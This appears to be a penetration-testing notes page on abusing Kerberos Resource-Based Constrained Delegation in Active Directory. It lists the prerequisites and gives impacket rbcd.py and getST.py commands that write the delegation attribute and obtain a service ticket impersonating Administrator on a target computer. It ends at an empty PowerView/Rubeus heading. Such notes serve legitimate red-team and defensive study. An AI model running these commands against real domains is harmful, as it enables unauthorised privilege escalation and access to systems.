Resource-Based Constrained Delegation

Resource-Based Constrained Delegation is a feature in Kerberos authentication where a computer trusts another account to impersonate users to it (e.g., ComputerA allows ComputerB to impersonate any user and authenticate to ComputerA as that user).

Attribute: msDS-AllowedToActOnBehalfOfOtherIdentity

To exploit Resource-Based Constrained Delegation, you need a few prerequisites:

• Control over a user or computer account with a SPN (ComputerA or UserA)

• Permissions to modify the msDS-AllowedToActOnBehalfOfOtherIdentity attribute for ComputerB (the target computer you want access to)

Exploit

Scenario

You control ComputerA and a domain user account, ducky, who has WriteProperty permissions for ComputerB.

The goal is to make ComputerB trust ComputerA for delegation so that a ST for ducky -> ComputerA can be used in S4U2Proxy to obtain a ST for ducky -> ComputerB.

impacket-rbcd

GitHub - fortra/impacket: Impacket is a collection of Python classes for working with network protocols.GitHub

Linux (Attacker)

## Add the msDS-AllowedToActOnBehalfOfOtherIdentity attribute to Computer B
## to allow delegation from Computer A
rbcd.py -delegate-from 'ComputerA$' -delegate-to 'ComputerB$' -dc-ip '[DC IP]' -action 'write' '[domain]/ducky:Password'

## Read the msDS-AllowedToActOnBehalfOfOtherIdentity attribute to confirm it
rbcd.py -delegate-to 'ComputerB$' -dc-ip '[DC IP]' -action 'read' '[domain]/ducky:Password'

## Obtain a ST using credentials for ComputerA$ impersonating built-in Administrator
getST.py -spn 'cifs/ComputerB$' -impersonate Administrator -dc-ip '[DC IP]' '[domain]/ComputerA$:Password'

PowerVIew/Rubeus